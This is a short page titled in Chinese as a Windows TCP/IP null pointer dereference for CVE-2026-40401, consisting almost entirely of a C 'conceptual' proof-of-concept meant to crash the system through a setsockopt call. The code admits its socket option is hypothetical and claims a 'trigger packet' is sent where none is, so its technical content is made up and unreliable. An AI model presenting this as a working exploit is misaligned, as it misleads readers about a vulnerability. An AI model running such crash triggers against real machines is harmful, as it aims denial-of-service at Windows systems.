CVE-2026-40401 Windows TCP/IP空指针解引用漏洞

/* * PoC for CVE-2026-40401 (Conceptual) * This code attempts to trigger a NULL pointer dereference in Windows TCP/IP stack. * Compile with: gcc poc.c -o poc */ #include <winsock2.h> #include <windows.h> #include <stdio.h> int main() { WSADATA wsaData; SOCKET sock; // Malicious buffer or option structure simulation char trigger_data[256] = {0}; // Initialize Winsock if (WSAStartup(MAKEWORD(2, 2), &wsaData) != 0) { printf("WSAStartup failed\n"); return 1; } // Create a socket (AF_INET, SOCK_STREAM) sock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP); if (sock == INVALID_SOCKET) { printf("Socket creation failed\n"); WSACleanup(); return 1; } // Attempt to set a specific socket option that triggers the vulnerability // Note: The exact option level and name are hypothetical for this CVE. // This simulates passing a NULL pointer or invalid context. int result = setsockopt(sock, IPPROTO_TCP, 0x100, trigger_data, sizeof(trigger_data)); if (result == SOCKET_ERROR) { printf("setsockopt failed (Expected behavior on patched systems)\n"); } else { printf("Trigger packet sent. Check for system crash.\n"); } closesocket(sock); WSACleanup(); return 0; }